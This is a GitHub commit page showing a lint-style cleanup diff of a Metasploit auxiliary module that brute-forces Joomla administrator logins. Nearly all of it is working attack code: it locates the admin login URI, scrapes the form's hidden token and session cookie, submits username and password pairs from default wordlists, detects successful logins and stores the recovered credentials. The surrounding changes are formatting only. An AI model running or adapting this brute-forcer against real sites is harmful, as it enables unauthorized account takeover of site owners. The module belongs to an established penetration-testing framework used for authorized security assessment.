Skip to content

Commit aefaa3d

Browse files
committed
Make rubocop more happy
1 parent 478e431 commit aefaa3d

File tree

1 file changed

+83
-86
lines changed

1 file changed

+83
-86
lines changed

modules/auxiliary/scanner/http/joomla_bruteforce_login.rb

Lines changed: 83 additions & 86 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Auxiliary
9-
109
include Msf::Exploit::Remote::HttpClient
1110
include Msf::Auxiliary::Report
1211
include Msf::Auxiliary::AuthBrute
@@ -26,17 +25,17 @@ def initialize
2625

2726
register_options(
2827
[
29-
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
30-
File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt") ]),
31-
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
32-
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
33-
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
34-
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
35-
OptString.new('AUTH_URI', [ true, "The URI to authenticate against", "/administrator/index.php" ]),
36-
OptString.new('FORM_URI', [ true, "The FORM URI to authenticate against" , "/administrator"]),
37-
OptString.new('USER_VARIABLE', [ true, "The name of the variable for the user field", "username"]),
38-
OptString.new('PASS_VARIABLE', [ true, "The name of the variable for the password field" , "passwd"]),
39-
OptString.new('WORD_ERROR', [ true, "The word of message for detect that login fail","mod-login-username"])
28+
OptPath.new('USERPASS_FILE', [false, 'File containing users and passwords separated by space, one pair per line',
29+
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')]),
30+
OptPath.new('USER_FILE', [false, 'File containing users, one per line',
31+
File.join(Msf::Config.data_directory, 'wordlists', "http_default_users.txt")]),
32+
OptPath.new('PASS_FILE', [false, 'File containing passwords, one per line',
33+
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')]),
34+
OptString.new('AUTH_URI', [true, 'The URI to authenticate against', '/administrator/index.php']),
35+
OptString.new('FORM_URI', [true, 'The FORM URI to authenticate against' , '/administrator']),
36+
OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']),
37+
OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']),
38+
OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username'])
4039
], self.class)
4140

4241
register_autofilter_ports([80, 443])
@@ -46,18 +45,18 @@ def find_auth_uri
4645
if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0
4746
paths = [datastore['AUTH_URI']]
4847
else
49-
paths = %W{
48+
paths = %w(
5049
/
5150
/administrator/
52-
}
51+
)
5352
end
5453

5554
paths.each do |path|
5655
begin
57-
res = send_request_cgi({
58-
'uri' => path,
59-
'method' => 'GET'
60-
})
56+
res = send_request_cgi(
57+
'uri' => path,
58+
'method' => 'GET'
59+
)
6160
rescue ::Rex::ConnectionError
6261
next
6362
end
@@ -68,10 +67,10 @@ def find_auth_uri
6867
path = res.headers['Location']
6968
vprint_status("#{rhost}:#{rport} - Following redirect: #{path}")
7069
begin
71-
res = send_request_cgi({
70+
res = send_request_cgi(
7271
'uri' => path,
7372
'method' => 'GET'
74-
})
73+
)
7574
rescue ::Rex::ConnectionError
7675
next
7776
end
@@ -81,38 +80,38 @@ def find_auth_uri
8180
return path
8281
end
8382

84-
return nil
83+
nil
8584
end
8685

8786
def target_url
88-
proto = "http"
87+
proto = 'http'
8988
if rport == 443 || ssl
90-
proto = "https"
89+
proto = 'https'
9190
end
92-
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
91+
"#{proto}://#{rhost}:#{rport}#{@uri}"
9392
end
9493

9594
def run_host(ip)
9695
vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...")
9796
@uri = find_auth_uri
9897

99-
if !@uri
98+
unless @uri
10099
vprint_error("#{rhost}:#{rport} - No URI found that asks for authentication")
101100
return
102101
end
103102

104-
@uri = "/#{@uri}" if @uri[0,1] != "/"
103+
@uri = "/#{@uri}" if @uri[0, 1] != '/'
105104

106105
vprint_status("#{target_url} - Attempting to login...")
107106

108-
each_user_pass { |user, pass|
107+
each_user_pass do |user, pass|
109108
do_login(user, pass)
110-
}
109+
end
111110
end
112111

113112
def do_login(user, pass)
114113
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
115-
response = do_web_login(user,pass)
114+
response = do_web_login(user, pass)
116115
result = determine_result(response)
117116

118117
if result == :success
@@ -129,7 +128,7 @@ def do_login(user, pass)
129128
:duplicate_ok => true,
130129
:active => true
131130
)
132-
return :abort if (datastore['STOP_ON_SUCCESS'])
131+
return :abort if datastore['STOP_ON_SUCCESS']
133132
return :next_user
134133
else
135134
vprint_error("#{target_url} - Failed to login as '#{user}'")
@@ -138,74 +137,72 @@ def do_login(user, pass)
138137
end
139138

140139
def do_web_login(user, pass)
141-
begin
142-
user_var = datastore['USER_VARIABLE']
143-
pass_var = datastore['PASS_VARIABLE']
140+
user_var = datastore['USER_VARIABLE']
141+
pass_var = datastore['PASS_VARIABLE']
144142

145-
referer_var = "http://#{rhost}/administrator/index.php"
143+
referer_var = "http://#{rhost}/administrator/index.php"
146144

147-
vprint_status("#{target_url} - Searching Joomla Login Response...")
148-
res = get_login_response
145+
vprint_status("#{target_url} - Searching Joomla Login Response...")
146+
res = login_response
149147

150-
unless res && res.code = 200 && !res.get_cookies.blank?
151-
vprint_error("#{target_url} - Failed to find Joomla Login Response")
152-
return nil
153-
end
148+
unless res && res.code = 200 && !res.get_cookies.blank?
149+
vprint_error("#{target_url} - Failed to find Joomla Login Response")
150+
return nil
151+
end
154152

155-
vprint_status("#{target_url} - Searching Joomla Login Form...")
156-
hidden_value = get_login_hidden(res)
157-
if hidden_value.nil?
158-
vprint_error("#{target_url} - Failed to find Joomla Login Form")
159-
return nil
160-
end
153+
vprint_status("#{target_url} - Searching Joomla Login Form...")
154+
hidden_value = get_login_hidden(res)
155+
if hidden_value.nil?
156+
vprint_error("#{target_url} - Failed to find Joomla Login Form")
157+
return nil
158+
end
161159

162-
vprint_status("#{target_url} - Searching Joomla Login Cookies...")
163-
cookie = get_login_cookie(res)
164-
if cookie.blank?
165-
vprint_error("#{target_url} - Failed to find Joomla Login Cookies")
166-
return nil
167-
end
160+
vprint_status("#{target_url} - Searching Joomla Login Cookies...")
161+
cookie = get_login_cookie(res)
162+
if cookie.blank?
163+
vprint_error("#{target_url} - Failed to find Joomla Login Cookies")
164+
return nil
165+
end
168166

169-
vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )")
170-
res = send_request_login({
171-
'user_var' => user_var,
172-
'pass_var' => pass_var,
173-
'cookie' => cookie,
174-
'referer_var' => referer_var,
175-
'user' => user,
176-
'pass' => pass,
177-
'hidden_value' => hidden_value
178-
})
179-
180-
if res
181-
vprint_status("#{target_url} - Login Response #{res.code}")
182-
if res.redirect? && res.headers['Location']
183-
path = res.headers['Location']
184-
vprint_status("#{target_url} - Following redirect to #{path}...")
185-
186-
res = send_request_raw({
187-
'uri' => path,
188-
'method' => 'GET',
189-
'cookie' => "#{cookie}"
190-
})
191-
end
167+
vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )")
168+
res = send_request_login(
169+
'user_var' => user_var,
170+
'pass_var' => pass_var,
171+
'cookie' => cookie,
172+
'referer_var' => referer_var,
173+
'user' => user,
174+
'pass' => pass,
175+
'hidden_value' => hidden_value
176+
)
177+
178+
if res
179+
vprint_status("#{target_url} - Login Response #{res.code}")
180+
if res.redirect? && res.headers['Location']
181+
path = res.headers['Location']
182+
vprint_status("#{target_url} - Following redirect to #{path}...")
183+
184+
res = send_request_raw(
185+
'uri' => path,
186+
'method' => 'GET',
187+
'cookie' => "#{cookie}"
188+
)
192189
end
190+
end
193191

194-
return res
192+
return res
195193
rescue ::Rex::ConnectionError
196194
vprint_error("#{target_url} - Failed to connect to the web server")
197195
return nil
198-
end
199196
end
200197

201198
def send_request_login(opts = {})
202-
res = send_request_cgi({
199+
res = send_request_cgi(
203200
'uri' => @uri,
204201
'method' => 'POST',
205202
'cookie' => "#{opts['cookie']}",
206203
'headers' =>
207204
{
208-
'Referer' => opts['referer_var']
205+
'Referer' => opts['referer_var']
209206
},
210207
'vars_post' => {
211208
opts['user_var'] => opts['user'],
@@ -216,7 +213,7 @@ def send_request_login(opts = {})
216213
'return' => 'aW5kZXgucGhw',
217214
opts['hidden_value'] => 1
218215
}
219-
})
216+
)
220217

221218
res
222219
end
@@ -233,12 +230,12 @@ def determine_result(response)
233230
end
234231
end
235232

236-
return :fail
233+
:fail
237234
end
238235

239-
def get_login_response
236+
def login_response
240237
uri = normalize_uri(datastore['FORM_URI'])
241-
res = send_request_cgi!({'uri' => uri, 'method' => 'GET'})
238+
res = send_request_cgi!('uri' => uri, 'method' => 'GET')
242239

243240
res
244241
end
@@ -257,12 +254,12 @@ def get_login_hidden(res)
257254
vprint_status("#{target_url} - Testing Joomla 2.5 Form...")
258255
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
259256

260-
if form.length == 1 #is not Joomla 2.5
257+
if form.length == 1 # is not Joomla 2.5
261258
vprint_status("#{target_url} - Testing Form Joomla 3.0 Form...")
262259
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
263260
end
264261

265-
if form.length == 1
262+
if form.length == 1 # is not Joomla 3
266263
vprint_error("#{target_url} - Last chance to find a login form...")
267264
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
268265
end
@@ -276,7 +273,7 @@ def get_login_hidden(res)
276273

277274
valor_input_id = input_id[1]
278275

279-
return valor_input_id
276+
valor_input_id
280277
end
281278

282279
end

0 commit comments

Comments
 (0)